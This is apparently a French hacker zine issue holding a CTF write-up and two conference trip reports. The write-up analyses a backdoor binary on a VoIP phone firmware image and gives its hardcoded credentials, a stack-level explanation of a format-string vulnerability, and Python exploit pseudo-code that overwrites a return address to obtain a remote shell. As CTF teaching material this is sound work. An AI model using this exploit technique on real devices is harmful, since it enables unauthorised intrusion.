Des questions ? Des galères ? N'hésitez pas à rejoindre le discord HackGyver
2.0. (https://discord.gg/P6dj5ayr44)

-- EOF --
::::::::::::::
03.txt
::::::::::::::
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌────────────────────────────────┐
│ ISSUE No 4 - Aout 2026  03.TXT └─────────────────────────────────────────────┐
| ph0wn2own                                                                    |
| Miaou                                                                        |
| Hack-In-Provence (HiP)                                                       |
└──────────────────────────────────────────────────────────────────────────────┘


## [ Contexte ] ------------------------------------------------------- [ 0 ] ##

Un grand merci à Azox pour ce chall !

Le  Ph0wn  nous   donne  quelques  semaines  avant  le  CTF   un  petit  teasing
sous  la   forme  d'un  chall   à  préparer  pour   le  dérouler  sur   place  :
https://ph0wn.org/ph0wn2own/. On  obtient une image d'un  filesystem, qui semble
"répondre à des mystérieuses requêtes réseau".


## [ Recon ] ---------------------------------------------------------- [ 1 ] ##

L'image téléchargeable est un rootfs  d'une distribution Linux (sans le kernel).
Quelques indices traînent  pour le  kernel : le dossier /lib/modules/2.6.27.47/,
et une mention  "Welcome to Linux 2.6.27.47  on T4X". C'est un  kernel datant de
2010

Un coup  de readelf sur quelques  libs et exécutables nous  donne l'architecture
matérielle : ARMv5 datant d'environ 2005, processeur 32 bits en little endian.

Le T4X est une gamme de téléphone VoIP  Yealink, et en creusant un peu on trouve
le modèle  T46S :  grand écran  non tactile avec  boutons sur  le côté.  On peut
trouver son firmware en ligne, mais ce ne sera pas très utile.

En cherchant  sur le système  de fichier, on trouve  des images de  contact, par
exemple pico.jpg :

                 :-:
            =%#######%-
          :%%%####*#%%%=----
         :%%##%#%%%%@%@=
         :%%%%@@@@*@%%@@*
         +%****: ::%%@@@@.
+%%%%%%+:=@****-   :##@@@.
 :===   =:=**#*******#@@:
    -+**=   +****##***=+********+====::
 .*%%%#:    =*--+++%%*******************+
           .::--  :   :.-======----=---
             ::= :=..                 :
             . ..                    =
              :....    .:        ...:
               :...... :-.   .....::
                .--::.:--.....:..:.
                  :==-=-=-:===+:.
                    =+===....
              =%%####*+=##*%%+
             =##**############*:::
            *####*#*=+=#*#***###+

On tombe  aussi sur un exécutable  "backdoor". Celui-ci semble être  un ajout au
système  de base  car readelf  nous  donne des  infos différentes  sur sa  cible
d'architecture CPU par rapport aux autres exécutables du rootfs. Un comportement
de  porte  dérobée pourrait  correspondre  à  quelque  chose  qui répond  à  des
mystérieuses requêtes réseau. C'est notre cible.

L'Application Binary  Interface sous ARM  est plutôt stable et  standardisée. On
part donc des calling conventions suivantes lors d'un appel de procédure :
-> 4 premiers arguments en registres (r0..r3 dans cet ordre)
-> arguments suivants sur la stack
-> retour de fonction dans r0
-> stack descendante: la stack commence à une adresse haute (e.g. 0x4ffc)
   et descend vers 0 jusqu'à une limite (e.g. 0x4800)
-> CPU 32-bits, un "push" fait descendre la stack d'1 mot == 4 octets
-> stack full-descending: en plus d'être descendante,  sp pointe vers le dernier
   espace occupé (full)
-> appel  avec  l'instruction  "bl"  qui "branch-link",  c'est  à  dire saute  à
   l'adresse  donnée  et  utilise  le  registre  "lr" (= r14)  pour  enregistrer
   l'adresse de retour de la procédure
-> les exécutables sont en little endian  (LSB), l'octet de poids faible dans un
   mot de plusieurs octets est à l'adresse mémoire la plus basse


## [ Analyse de l'exé backdoor ] -------------------------------------- [ 2 ] ##

L'exécutable est plutôt simple et les symboles de debug sont présents, ce qui va
faciliter l'analyse.

On a les fonctions suivantes :
- main qui écoute sur le port 9999 en TCP, et fork pour chaque nouveau client
  vers handle_client(socket)
- handle_client envoie un message au client puis passe à handle_commands
- handle_commands est le "menu principale" :
  - reçoit une commande via parse_arg
  - décortique puis exécute la commande :
    - do_login demande un username/password précompilé
    - cmd_ping, cmd_echo, cmd_info, cmd_logout demandent d'être loggué
    - cmd_shell ne demande pas d'être loggué mais a un comportement suspect :
      1. pioche 4 mots aléatoires
      2. check si sont égaux à l'argument de cmd_chell
      3. si oui, do_cmd_shell(socket)

La  fonction do_cmd_shell(socket)  est  le  coeur de  la  porte  dérobée :  elle
transforme le lien TCP  vers un shell sur la machine.  La fonction cmd_shell n'a
pas de faille au premier abord.

       +----------------------------------------------------------------+
       |           On a maintenant l'objectif du ph0wn2own :            |
       | soit trouver une faille pour prédire l'aléa et passer le test, |
       | soit trouver une faille pour appeler directement do_cmd_shell. |
       +----------------------------------------------------------------+

J'ai choisi pour ce write-up  d'essayer d'appeler directement do_cmd_shell, même
si sa construction appelle plutôt à essayer de prédire l'avenir. On discutera de
cette fin alternative à la fin du write-up.

Il faut donc commencer par trouver une faille quelque part.

parse_arg est la  première candidate. Sa signature :  parse_arg(int socket, char
*buffer, size_t max_len) Cette fonction copie jusqu'à max_len octets du lien TCP
dans buffer et  son implémentation ne semble pas vulnérable  aux buffer overruns
ou autre problème.

Cette  fonction   donne  aussi  le   "protocole"  à  respecter  pour   parler  à
l'application. On envoie sur  le lien TCP 4 octets en  little endian pour donner
la taille de ce qu'on envoie, puis on envoie ce nombre d'octets. Si la taille du
buffer qu'on  envoie dépasse la taille  max donnée à parse_arg,  alors le buffer
est  tronqué et  seuls max_len  octets  du buffer  sont lus.  Par exemple,  pour
l'appel de parse_arg qui récupère la commande  à exécuter, la taille max est 31.
Les fonctions ont chacune un ou plusieurs arguments qu'elles reçoivent également
avec parse_arg, et qui ont chacune leur  limite de taille à ne pas dépasser. Par
exemple, pour la commande echo, on peut aller jusqu'à 0x200 octets.


## -- ( do_login ) -------------------------------------------------- [ 2.1 ] ##

C'est une  étape à franchir  pour accéder aux  autres fonctions. Elle  n'est pas
vulnérable au  sens du  pwn, mais  elle accepte  l'utilisateur en  utilisant des
informations compilées dans l'application, donc facile à contourner.

Elle attend 2  arguments, le premier est  le username "ph0wn", le  second est le
password "5tr0ng_P@ssw0rd!". Ceci  met à jour une variable  globale qui débloque
l'accès aux autres commandes, où on espère trouver des failles.


## -- ( cmd_echo ) -------------------------------------------------- [ 2.2 ] ##

Cette  fonction demande  à être  logguée, puis  elle prend  un argument  qu'elle
formate sur la socket en retour. Son fonctionnement est en gros :
- alloue to_echo (0x200 octets) et récupère l'argument dans ce buffer
- alloue to_print (0x800 octets) et fait un snprintf(to_print, 0x800, to_echo)

Ce dernier  appel est  la vulnérabilité  : on  maitrise to_print  et on  va donc
pouvoir en abuser.


## [ Vulnérabilités via snprintf ] ------------------------------------ [ 3 ] ##

Déjà snprintf, c'est une variadique : snprintf(to_print, 0x800, to_echo, ...).

Que  se passe-t-il  si on  donne to_echo="%x  %x %x"  ? Reprenons  la convention
d'appel de procédure :
- premier argument dans le registre r0 -> to_print
- deuxième argument --------------- r1 -> 0x800
- troisième ----------------------- r2 -> to_echo
- quatrième ----------------------- r3
- cinquième et suivants dans la stack (le 5° poussé d'abord, ensuite le 6°,
  ensuite le 7°, ...)

Le code  de la fonction snprintf  s'exécute *comme si* l'appelant  avait préparé
les arguments correctement en registres et  en stack. Avec l'exemple "%x %x %x",
la fonction va donc  chercher le 4°, 5°, et 6° argument  *comme si* cmd_echo les
avait préparés correctement, et snprintf va donc afficher le contenu de r3, puis
le contenu de la stack au moment de l'appel.

En reprenant la convention  du manuel de printf qui dit  que le premier argument
optionnel est  l'argument numéro  1, on peut  visualiser la stack  et ce  à quoi
snprintf va pouvoir accéder :

|  argument2 <--- sp (stack pointer) au moment de l'appel
|  argument3
|  argument4
|  argument5
|  [...]
v (adresses mémoires croissantes vers le bas)

L'argument 1 n'est pas sur la stack puisque c'est le contenu du registre r3.

On peut  utiliser un  modificateur pour  maîtriser plus  finement nos  lecture :
"%k$n"  utilise directement  le  k-ième  argument, ce  qui  nous  donne accès  à
l'endroit voulu sur la stack.

         +------------------------------------------------------------+
         | Premier outil : lecture arbitraire de la stack via "%k$x". |
         +------------------------------------------------------------+

Les fonctions  printf ont également  une capacité d'écriture qu'on  oublie parce
que son  utilisation est  plus rare :  le convertisseur %n.  D'après le  man, il
permet d'écrire  le nombre d'octets déjà  formatés au moment où  il apparaît. Il
utilise l'argument passé correspondant comme un pointeur sur entier. L'opération
pourrait s'écrire `*p_i = current_len();`. Par exemple :


int i=4;
printf(&#34;%08d %n%d&#34;, i, &amp;i, i);
écrirait "00000004 9" et i vaut 9 après son exécution. On peut utiliser des modificateurs pour maîtriser plus finement nos écritures : - "%k$n" utilise le k-ième argument -> choisir quel élément de la stack utiliser comme pointeur - "%[nombre]i" insère du padding pour que le formatage du nombre prenne au moins `nombre` octets -> ajuster plus facilement la valeur écrite par %n - "%hhn" considère que le pointeur est un "uint8_t*" et "%hn" pour un "uint16_t*" -> modifier seulement 1 ou 2 octets plutôt que 4 Notre buffer fait 0x800 de long, on ne pourra donc pas padder à plus que cette longueur, et on ne pourra pas écrire d'entier plus grand que 0x800. On s'oriente donc vers l'utilisation de "%k$hhn". +----------------------------------------------------------------+ | Deuxième outil : écriture arbitraire de la stack via "%k$hhn". | +----------------------------------------------------------------+ Pour écrire un entier 32 bits, on a besoin de 4 "%hhn" qu'on peut trier pour utiliser seulement 0x100 octets de formatage et écrire n'importe quelle valeur. Il faut trier les octets dans le bon ordre. Par exemple, écrire 0x7fff0482 en 0x1234 revient à écrire 0x82 en 0x1234, 0x04 en 0x1235, 0xff en 0x1236 et 0x7f en 0x1237 : `printf("%1$4i%1$hhn" "%1$123i%2$hhn" "%1$3i%3$hhn" "%1$125i%4$hhn", 0, 0x1235, 0x1237, 0x1234, 0x1236);`. ## [ Que faire avec ces outils ? ] ------------------------------------ [ 4 ] ## La stack comprend deux éléments essentiels à l'exécution d'un programme : les variables locales de la fonction, l'adresse de retour (pour que l'appelant de la fonction puisse reprendre l'exécution après l'appel de la fonction), et des valeurs des registres qu'il faut préserver pour l'appelant. Pour schématiser ces éléments sur la stack au moment de l'appel à snprintf : | / <--- sp (stack pointer) au moment de l'appel | | variables locales de cmd_echo | \ | sauvegarde registres | adresse de retour vers handle_commands (0x9194) | / | | variables locales de handle_commands | \ | sauvegarde registres | adresse de retour vers handle_client (0x9828) | [...] v (adresses mémoires croissantes vers le bas) Un vecteur d'attaque semble se dessiner : modifier l'adresse de retour vers handle_commands pour exécuter à la place do_cmd_shell. Il s'agit d'un ROP (Return-Oriented Programming). Toutes les adresses *après* sp sont accessibles en lecture directement via "%k$x". Mais on ne peut utiliser que des pointeurs *présents après sp* pour pouvoir écrire. Il faudrait énormément de bol pour qu'un pointeur sur la stack nous permettant de modifier directement l'adresse de retour existe. Et ce n'est pas le cas. Il faut donc analyser plus en détail les variables globales pour voir si on en maîtrise des zones ou non. Regardons le prologue de cmd_echo : mov ip, sp push {fp, ip, lr, pc} sub fp, ip, 4 sub sp, sp, 0x38 Et l'épilogue correspondant : sub sp, fp, 0xc pop {fp, sp, pc} La fonction sauvegarde fp (Frame Pointer, le registre r11), ip (r12) qui vaut en fait sp avant le push, lr (contient l'adresse de l'instruction suivant l'instruction bl qui a appelé cette fonction), et enfin pc (Program Counter). Ce dernier registre n'est pas ré-utilisé et sert uniquement à garder la stack alignée à 8 octets. On peut le voir en analysant l'épilogue : seul 3 des 4 registres sont pop en sortie, et en regardant bien, fp et sp reprennent leur valeur, et pc prend la valeur de lr. La fonction s'est donc réservée 0x38 octets sur la stack pour ses variables locales (également aligné à 8 octets), soit entre 13 ou 14 mots. En schéma : | local_00 <--- sp après le prologue | local_04 | local_08 | local_0c | ... | local_30 | local_34 | fp avant le prologue | sp avant le prologue | lr == addr instruction après bl cmd_echo | pc avant le prologue (padding) <--- fp pendant cmd_echo | <--- sp on entry v On peut accéder aux variables locales de deux manières : - par le début de la stack, l'adresse de local_00 est sp+0x00 - par la fin de la stack, l'adresse de local_00 est fp-0x40 Avec un travail d'analyse sur cmd_echo et handle_commands, on déduit la composition de la stack au moment de l'appel à snprintf. La mention "argK" donne la valeur de k qui doit être utilisé dans "%k$x" ou "%k$hhn" pour accéder à cet emplacement de la stack. Pour rappel, on commence à arg2 car arg1 est passé en registre via r3. | arg02 / [padding] <--- sp au moment de l'appel à snprintf | arg03 | cmd_echo: socket | arg04 | [unused] | arg05 | error_msg | arg06 | error_msg | arg07 | error_msg | arg08 | error_msg | arg09 | error_msg | arg10 | error_msg | arg11 | error_msg | arg12 | error_msg | arg13 | *to_echo | arg14 | len_to_echo | arg15 \ *to_print | arg16 save fp | arg17 save sp | arg18 save lr ---> retour en 0x9194 | arg19 [padding] <--- fp pointe ici pendant cmd_echo | arg20 / [padding] | arg21 | handle_commands: socket | arg22 | [unused] | arg23 | buffer_commande[ 0.. 3] | arg24 | buffer_commande[ 4.. 7] | arg25 | buffer_commande[ 8..11] | arg26 | buffer_commande[12..15] | arg27 | buffer_commande[16..19] | arg28 | buffer_commande[20..23] | arg29 | buffer_commande[24..27] | arg30 | buffer_commande[28..31] | arg31 \ len_command | arg32 save fp | arg33 save sp | arg34 save lr ---> retour en 0x9824 | arg35 [padding] <--- fp pointe ici pendant handle_commands On remarque ici que le buffer_commande (appelé "buf" dans les symboles de debug) est alloué dans la stack par handle_commands. On note aussi que le programme utilise strcmp("echo", buffer_commande) pour voir si la commande envoyée est "echo". Ceci signifie que seuls les 5 premiers caractères seront vérifiées ("echo" suivi du \0 indiquant la fin de chaîne en C). On peut donc utiliser tout ce qu'il y a derrière buffer_commande[5..30] pour écrire ce qu'on veut sur la stack (on ne peut pas utiliser buffer_commande[31] car le code le met à 0 après réception de la commande pour éviter les buffer overruns). Comme on ne peut accéder à cette zone qu'au travers des argK qui sont alignés aux mots, seuls 5 emplacement seront utilisables : arg25..arg29. On pourrait utiliser arg24 si notre adresse a son octet de poids faible à 0x00. +-----------------------------------------------------+ | Pour écrire via snprintf, on maitrise arg25 à arg29 | | en envoyant des adresses par la commande "echo". | +-----------------------------------------------------+ ## [ Atterrissage ] --------------------------------------------------- [ 5 ] ## Le but est de sauter vers do_cmd_shell. Malheureusement, la fonction a pour signature do_cmd_shell(socket). Il faut donc que le registre r0 soit égal à socket... Or, en sortant de cmd_echo, r0 contient une valeur interne de la fonction, en l'occurrence la valeur de retour de free (qui ne renvoie rien donc on ne sait vraiment pas ce qu'il y a dans r0 à ce moment là). On ne peut donc pas sauter directement au début de la fonction. En revanche, cette fonction est appelée par cmd_shell qui charge r0 depuis la stack : 0x8ed8 ldr r0, [fp, -0x60] 0x8edc bl 0x8cc4 Cet endroit est un meilleur point d'atterrissage, mais il faudra placer la valeur de socket au bon endroit sur la stack. Cette valeur ne change pas pour toute la durée de la connexion, et on peut la trouver ailleurs sur la stack (par exemple en arg3, arg21). Elle vaut généralement un entier assez faible (<0x800 qui est notre limite via snprintf), donc on pourra utiliser un seul %n pour l'écrire. +--------------------------------------------+ | Pour appeler do_cmd_shell, | | mettre socket au bon endroit sur la stack, | | puis ROPer en 0x8ed8. | +--------------------------------------------+ Ce write-up considère pour l'instant que la stack change d'adresse mémoire entre deux exécutions du programme. Mais il est également possible que le programme ne soit pas chargé au même endroit entre deux exécutions. Il faudra donc prendre la peine de lire lr avant de le ré-écrire, pour ajuster au bon endroit où est le code en mémoire. On s'attend à ce que sa valeur soit 0x9194 quand on veut écrire 0x8ed8. Il suffira de faire lr_read-(0x9194-0x8ed8) pour se retrouver au bon endroit, quelque soit l'adresse de base du programme en mémoire sur la cible. ## [ Attaque ] -------------------------------------------------------- [ 6 ] ## Résumons les étapes de l'attaque : - se logguer - préparer l'appel à do_cmd_shell : - lire la valeur de socket dans la stack - lire la valeur qu'aura fp pendant le ROP (en sortie de cmd_echo, arg16) - écrire socket en fp-0x60 - écrire le ROP : - lire la valeur de lr en sortie de cmd_echo (arg18) - trouver son adresse pour le ré-écrire (par exemple sp de cmd_echo pointe vers arg20, donc sp-8 pointe vers l'emplacement de lr en stack) - écrire lr-(0x9194-0x8ed8) à cet emplacement Notre ROP n'est pas vraiment amicale avec la stack et on ne pourra pas reprendre le cours "normal" du programme après avoir ROPé (pas de retour à handle_commands)... Il faut donc effectuer le ROP en une seule commande echo. En revanche, on peut faire autant de echo de lecture que nécessaires puisque la stack se retrouvera aux mêmes emplacement entre 2 appels à echo. Pseudo-code (syntaxe python), en considérant que l'appel arg(buf) envoie sur la socket le buffer buf en préfixant sa longueur pour qu'il soit correctement reçu par le programme :
arg(b&#39;login\x00&#39;); arg(b&#39;ph0wn\x00&#39;); arg(b&#39;5tr0ng_P@ssw0rd!\x00&#39;)
# Lecture de ce qu&#39;il nous faut
arg(b&#39;echo\x00&#39;)
vals = arg(b&#39;%3$x %16$x %18$x %17$x&#39;)
socket, fp_cmd_echo, lr_cmd_echo, sp_before_echo = vals
# Préparation de l&#39;écriture
new_lr = lr_cmd_echo - (0x9194-0x8ed8)
addr_lr = sp_before_echo - 8
# Comme la valeur écrite par %n ne fait qu&#39;augmenter, on trie les bytes à écrire
# dans l&#39;ordre  croissant. On enregistre  l&#39;adresse à  écrire avec le  byte pour
# savoir comment organiser les adresses après la commande echo.
lr_bytes_addr = sorted([
    (socket, fp_cmd_echo-0x60, &#39;n&#39;),
    ((new_lr&gt;&gt; 0) &amp; 0xff, addr_lr+0, &#39;hhn&#39;),
    ((new_lr&gt;&gt; 8) &amp; 0xff, addr_lr+1, &#39;hhn&#39;),
    ((new_lr&gt;&gt;16) &amp; 0xff, addr_lr+2, &#39;hhn&#39;),
    ((new_lr&gt;&gt;24) &amp; 0xff, addr_lr+3, &#39;hhn&#39;),
])
# On  empile  les  adresses  à écrire  à  la suite  de  la  commande en  gardant
# l&#39;alignement à 4 octets
arg(b&#39;echo\x00\x01\x02\x03&#39;+b&#39;&#39;.join(addr for _,addr,_ in lr_bytes_addr))
# On a besoin de nombre d&#39;octets *entre* deux valeurs (%x successifs)
n_pad = 0
diff_pads = []
for val,_,flag in lr_bytes_addr:
    diff_pads.append((val-n_pad, flag))
    n_pad += val-n_pad
# Ecrit avec les %k$hhn pour écrire (les pointeurs seront en arg25 et suivants)
#  (n&#39;écrit pas %x si pad == 0)
req = &#39;&#39;
for i,(pad,flag) in enumerate(diff_pads):
    if pad: req += f&#39;%1${pad}x&#39;
    req += f&#39;%{25+i}${flag}&#39;
arg(req.encode())
Après ça, on peut envoyer des commandes et recevoir le résultats. Par exemple "ls" puis "cat flag"... ## [ Émulation ] ------------------------------------------------------ [ 7 ] ## Un point qui prend du temps la première fois qu'on le fait mais qui n'est finalement pas si compliqué... J'ai d'abord essayé de re-compiler le kernel correspondant à la distrib et le lancer avec qemu. Mais de toutes façons, je n'aurai pas les périphériques branchés sur le T46S (écran, boutons, ...) donc même après une compilation réussie et des ajustements sur qemu (sans succès eux ^^), c'était peine perdue d'avance (!!!) La commande utile est `qemu-arm -L rootfs/ rootfs/phone/bin/backdoor`. On peut aussi utiliser qemu-arm-static. Ça suffit et fonctionne très bien ! A noter cependant que pour pouvoir debug l'application, gdb-multiarch fonctionne (utiliser gef ou peda par exemple), sauf le mode "follow-fork-mode child" qui permettrait de suivre un fork. Hors, le programme fork. On peut patcher la boucle de la fonction main qui réalise le fork assez facilement. Il suffit de remplacer l'appel à fork par son code de retour dans le process forké (qui est 0). `mov r0, 0` se compile en 00 00 a0 e3 qu'on peut patcher à l'aide de xxd et sed :
cp rootfs/phone/bin/backdoor rootfs/phone/bin/backdoor~
xxd rootfs/phone/bin/backdoor~ |\
    sed &#39;s,^00001ab0.*,00001ab0: b2fb ffeb 0000 a0e3 0030 a0e1 1c30 0be5,&#39; |\
    xxd -r &gt; rootfs/phone/bin/backdoor
L'inconvénient est que le programme termine après un seul client. L'avantage est qu'on peut suivre (et debugger) le déroulement du pwn... On peut lancer `qemu-arm -g 9998 -L rootfs/ rootfs/phone/bin/backdoor` dans une console, utiliser .gdbinit pour définir nos paramètres ("target remote 9998", "set sysrootfs ...", breakpoints, ...), et lancer notre script de pwn. ## [ Chemin alternatif ] ---------------------------------------------- [ 8 ] ## Le chemin initialement proposé par le challenge était de se baser sur rand. J'ai d'abord cru que ce chemin était plus compliqué parce qu'il fallait prédire rand sur une architecture CPU différente, mais ce chemin est en fait plus simple ! Une première clef est que srand est exécuté au début du programme, et conserve sa valeur au travers des fork. Chaque nouveau client a donc la même seed et aura les mêmes valeurs retournées par les appels à rand(). Un autre particularité de rand est que l'algorithme est stable depuis un certain nombre d'années et son implémentation sur différentes architecture donne également les mêmes résultats (c'est du C après tout, c'est assez logique). Par exemple, après un srand(0), rand() donne 1804289383 à travers qemu-arm et sur mon hôte x64 qui a une libc 10 ou 15 ans plus récentes. On peut donc récupérer l'état en mémoire après srand via snprintf et prédire sur notre machine les rand suivants. Il faudra utiliser un outil légèrement différent : "%25$s" déréférence le pointeur qu'on met après la commande echo et lit comme si il s'agissait d'une chaîne de texte (jusqu'au prochain \0). Il faudra également trouver l'adresse de chargement de la libc pour pouvoir pointer vers la zone mémoire qui contient la seed. On peut ensuite soit utiliser un code C pour obtenir les valeurs de rand() à prédire, soit directement appeler la libc en python via ctypes. Après cet appel, on se retrouve dans do_cmd_shell(socket) sans avoir eu à utiliser l'outil d'écriture ! ## [ Fin ? ] ---------------------------------------------------------- [ 9 ] ## Le but du challenge était d'ouvrir les possibles après cette première connexion et de jouer avec le téléphone. Plusieurs idées qu'on aurait pu filer (je n'en suis pas l'auteur) : - charger des fichiers via le et remplacer les icônes affichées lors d'un appel (dans /data/userdata/contact-image/) - faire sonner le téléphone - changer la sonnerie du téléphone - utiliser le framebuffer pour changer l'image affichée sur le téléphone - compiler et charger fbDOOM (idée des concepteurs du challenge) - ... Merci encore à toute l'équipe pour ce challenge très original ! :::::::::::::: 04.txt :::::::::::::: _______ ___ ______ ______ /" _ "\ /. ") / " \ / " \ (: (_/ :| /: / // ____ \ // ____ \ \____/ |) // /___ / / ) :)/ / ) :) _\ '| ( / _ \(: (____/ //(: (____/ // /" \__|\|: /_) :)\ / \ / (________)\_______/ \"_____/ \"_____/ bauds ┌────────────────────────────────┐ │ ISSUE No 4 - Aout 2026 04.TXT └─────────────────────────────────────────────┐ | SUMMER Trip :: LeHACK & Pass the Salt | | Tuxlu | | GRENOBLE HACKERSPACE | └──────────────────────────────────────────────────────────────────────────────┘ ::: LE HACK ::: ::::::::::::::: Nouvelle fournée de conférences sécu et en encore une fois le mot d'ordre est IA. Mais contrairement au Fosdem, ici on accueille plutôt nos nouveaux seigneurs AI. Comment utiliser l'IA, tools vibe-codés, intégrations MCP, slides générées... On souffle parfois un peu. Heureusement, ces événements permettent de rencontrer des vrais humains et avoir des conversations intéressantes! Un des talks qui m'a le plus marqué d'ailleurs était non pas par son contenu technique, mais pour sa mise en scène, avec des slides garantie fait main avec des bouts de 3D crées sous Blender! "Permis d'illuminer toute la ville" par MadSquirrel. La vulnérabilité assez simple (une application d'allumage d'éclairage publique ouverte aux quatre vents) mais avec un jeu d'acteur inspiré d'OSS 117. Je vous conseille le replay! (quand ils seront dispo, d'ici 6 mois peut-être :/ ) Dans les autres talks, citons : - "RF : une menace invisible", sur la recherche de mouchards et l'isolation contre l'écoute radio, de quoi rendre parano et vérifier ses faux plafonds. - "Trust Me, I’m A Shortcut", sur les méthodes pour cacher furtivement des payloads malveillants dans les liens Windows. - "Sighax deep dive", sur l'architecture de la Nintendo 3DS et son hacking. Je sais que ça ne se fait pas vraiment, mais je me permets d'exprimer une déception, avec toutefois une note d'espoir: L'intitulé du talk sur Reversense me mettait l'eau à la bouche: une plateforme open-source de hacking d'applications mobile intégrant une myriade de scripts Frida pour automatiquement obtenir une vue d'ensemble détaillée sur un projet. Hélas le talk était assez peu clair sur l'usage concret de la plateforme. Il suffisait de se rendre au workshop pour tester directement? Hélas non, le code était dispo, mais il n'y avait aucune instruction sur comment le setup :( Dommage de ne pas profiter du momentum de l’événement pour publier proprement le projet dans le même temps, mais j'espère de tout coeur qu'il sera disponible d'ici la sortie de ce zine! Mais LeHack ça n'est clairement pas que la scène principale: le village hardware était une super nouveauté (je dis pas ça parce que Beemo relis mon texte, promis ;_; ). J'ai beaucoup aimé le challenge "bus CAN" de Quarkslab ou on peut se connecter au tableau de bord d'une voiture pour changer l'affichage de la radio, mais aussi de la vitesse ou des warnings! Mention aussi aux talks Osint très présents. Ça n'est pas mon domaine, mais j'ai eu très plaisir à regarder des pros de Geoguessr expliquer la "meta", comment ils remarquent qu'ils sont sur une route en Guinée car il y a du scotch sur le rétroiseur de la voiture Google Maps. Et ce à 2h du matin. (le CtF était difficile , j'avais besoin d'une pause , ok? (T^T) ) ::: PASS THE SALT ::: ::::::::::::::::::::: Quittons donc la fournaise parisienne (à défaut de glaces, le goodies le plus populaire de LeHack était un éventail! ) et profitons de la fraîcheur du Nord. Agrémentées de bières, offertes par le "social event" de Pass the salt! Une conférence aux thématiques particulièrement intéressante puis qu'elle mêle sécurité et Open-source. Plein de talks très intéressants et variés. IA toujours, le "Director of engineering" de chez Mozilla était là pour nous parler des merveilles de Claude Mynthos sur Firefox... Et c'était au final plutôt boring: pas de détails sur les vulns trouvées, mais juste une explication sur le setup des modèles et des prompts utilisés. Le futur de notre boulot quoi. Youpi :/ En talks qui valent le détour (et dont les replays sont dispos sur le site de l'event): - "Oblivious HTTP", sur un protocole pour cacher notre adresse IP aux serveurs en passant par des serveurs proxy. Encore une bonne initiative pour la vie privée! - "Bypassing BitLocker in under 5 min", qui démontre q'un Bitlocker sans pin est un peu comme une serrure sur une porte qu'on peut démonter. J'ai aussi fait un workshop très intéressant sur Sighthouse, un système pour simplifier la vie des reversers en détectant automatiquement les fonctions connues, comme les libs de chiffrement. Projet techniquement impressionnant avec un petit bémol: Pour que ça marche, il faut se créer une base de données en compilant des tonnes de projets pour plein d'architectures, avec plein de combinaisons de flags de compilations. La db des créateurs du projet a mis 6 mois à se compiler sur leur serveur... et elle n'est pas publique! Ils mettent en place les instructions pour la build, alors faites chauffer votre serveur local ^^' Voilà , une semaine de conf bien remplie, rendez vous à Grehack pour ma part! :::::::::::::: 05.txt :::::::::::::: _______ ___ ______ ______ /" _ "\ /. ") / " \ / " \ (: (_/ :| /: / // ____ \ // ____ \ \____/ |) // /___ / / ) :)/ / ) :) _\ '| ( / _ \(: (____/ //(: (____/ // /" \__|\|: /_) :)\ / \ / (________)\_______/ \"_____/ \"_____/ bauds ┌────────────────────────────────┐ │ ISSUE No 4 - Aout 2026 05.TXT └─────────────────────────────────────────────┐ | leHACK 2026 - Brave New World | | Beemo <nflatrea@mailo.com> | | GRENOBLE HACKERSPACE | └──────────────────────────────────────────────────────────────────────────────┘ __ __ __ __ / \_====_/ \ / \_====_/ \ ( (\ ' 00 ` /) ) ( (\ ' 00 ` /) ) \__/======\__/ \__/======\__/ |||||| |||||| |`||/ |||||: ||||\ \||||\ |||||| /||||| (======) * (======) |||||| |||||| |/||`| __ __ _____ ________ __ |/||`| |||||| / /__ / / / / | / ____/ //_/ |||||| |||||| / / _ \/ /_/ / /| |/ / / ,< |||!|| |||||| / / __/ __ / ___ / /___/ /| | |||||| \||||| /_/\___/_/ /_/_/ |_\____/_/ |_| :||||| /||||| ..:. . . .:. ..... . ..:.. . . |||||/ |||||| 2026 ~ b r a v e n e w w o r l d |||||| ||`||| . ::. .:. . .:. . ... ..:. ||`||| \||||' \||||' |/||`| TRiP REPoRT :: Beemo |/||`| (======) (======) |||||| |||||/ |||||| |||||\ ||`||| ||`||| \||||' \||||' .| | .| | :/| |. :/| |. . . : : TLDR J'ai pas beaucoup participé autrement qu'en faisant le pitre sur scène, Beaucoup trop de travail pour une année de plus à Paris. Le thème était sympa, j'ai pu recroiser du monde et on as surtout pêter les scores d'épuisement entre un workshop, une présentation et le tout nouveau village hardware, leLAB. Bref une année mémorable :P INTRo Cette année, leHACK nous a pondu un thème bien ambitieux BRAVE NEW WORLD; Perso, j'ai surtout retenu que c'était l'occasion de monter voir les copains. Année particulière tout de même car en plus de faire un Workshop, j'ai eu l'occasion de faire une présentation (R4d1o_P1r4t3) et de participer à l'orga d'un tout nouveau village hardware avec Tcccorp, Virtu, Tix, Prom', orwen, 7h30th3r0n3, erdnaxe, Scttpr, Dr4s1l et les autres que j'aurais oublié Comme je bosse (oui choquant), je suis arrivé sur Paris quelques jours avant, profitant d'une mission sur place. J'ai pu négocier mon 26 et 27 juin, j'ai une partie du AirBnB qu'est gracieusement payé et le train qui par chance m'est offert par l'équipe de HzV Avec un autre membre Hackerspace on c'est décidé à monter un maximum de materiel pour leLAB, alors j'ai bourré deux gros sacs à dos de matos, et quand j'ai vu que ça rentrait pas, j'ai balancé le reste dans une caisse. Résulat des trucs apportés : Matériel de mesure :::::::::::::::::: - 5 multimètres C.A 5233 - 6 oscillos Textronix TDS 1022 + probes - 1 set de PCBite Probes x4 - 3 SDRs (RTL-SDR, HackRF et HydraSDR) - 5 antennes + amplis 20dB - 1 set de micro tournevis iFixit Interfaces :::::::::: - 1 PicoGlitcher v3 - 1 Bus Pirate v5 - 10 CH340/CH341 + leurs princes - 2 STL-Link v2 - 5 analyseurs logiques 8CH Targets ::::::: - 9 routeurs Linksys WRT54GL (classiques, indémodables) - 2 GuD PLC - 1 Neufbox NB6WAC Et d'autres merdouille IoT dont j'ai plus idée.... Avec mes petites magouilles j'en suis revenus pour : - 0€ de train (Un grand merci à HzV :D) - 480€ pour 8 jours à Argenteuil (cave humide, puante, mais bon marché) - ~80€ de tickets de métro A mon arrivé, le matos était éparpillé entre BellY dans une caisse, et moi dans un gros sac. J'ai laissé le materiel au AirBnB jusqu'au 25 juin, date à la laquelle on c'est rejoins. Bon spoiler C'était lourd, il faisait tarpin chaud et l'endroit ou j'était puait la pollution, les poubelles et l'humidité BRAVE new WORLD J-1 